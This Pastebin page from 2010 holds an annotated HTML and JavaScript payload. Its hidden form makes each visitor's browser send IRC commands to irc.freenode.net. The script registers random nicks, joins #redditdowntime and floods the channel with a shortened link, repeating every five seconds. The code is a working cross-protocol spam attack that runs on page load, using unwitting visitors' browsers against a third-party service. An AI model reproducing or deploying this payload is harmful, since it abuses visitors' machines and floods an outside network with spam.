Subdomain Posts
PHP | 12 days ago
JavaScript | 47 days ago
HTML | 47 days ago
HTML | 47 days ago
None | 97 days ago
Python | 251 days ago
None | 254 days ago
None | 254 days ago
None | 254 days ago
Recent Posts
None | 13 sec ago
None | 14 sec ago
Java | 25 sec ago
None | 27 sec ago
None | 29 sec ago
Python | 30 sec ago
None | 32 sec ago
C++ | 40 sec ago
None | 56 sec ago
None | 1 min ago
Free Subdomains
Want a pastebin.com sub-domain for your community?
learn more...
What is pastebin?
Pastebin is a website that hosts all your text & code on dedicated servers for easy sharing.
learn more...
By mkosmo on the 27th of Jan 2010 01:20:47 PM
Download |
Raw |
Embed |
Report
<iframe id="y" name="y" style="display:none"></iframe>
<form method="post" target="y" action="http://irc.freenode.net:6667/" enctype="text/plain" id="f" style="display:none">
<textarea name="x" id="x"></textarea>
</form>
<script type="text/javascript">
/*
* Generate a random string of characters to use for an IRC nick
*/
function rnd(){
var chars="abcdefghijklmnopqrstuvwxyz";
var r='';
var length=Math.floor(Math.random()*10+3);
for (var i=0;i<length;i++){
var rnum=Math.floor(Math.random() * chars.length);
r += chars.substring(rnum, rnum+1);
}
return r;
}
function lol(){
/* Grab a reference to the textarea */
var x = document.getElementById('x');
/* Grab a reference to the form itself */
var f = document.getElementById('f');
/* Generate a fake user-name */
var i = rnd();
/* Generate a fake nick */
var n = rnd();
/*
* Build a series of IRC commands into a string:
* - Set the username
* - Set the nick
* - Join the channel to spam (#redditdowntime)
* - Queue up a bunch of PRIVMSG commands to the channel with the spam link
*/
x.value='\r\nUSER '+i+' 8 * :'+n+'\r\nNICK '+n+'\r\nJOIN #redditdowntime\r\n'+new Array(99).join('PRIVMSG #redditdowntime :http://bit.ly/lolreddit\r\n')+'';
/* Submit the form, effectively sending the textarea contents to an IRC server */
f.submit();
/* Setup a loop for maximum irritation */
setTimeout(lol, 5000);
}
lol();
</script>
<h1>DIGG ROOLZ! REDDIT DROOLZ!</h1>
Submit a correction or amendment below.
[ previous version ] | [ difference ] | Make A New Post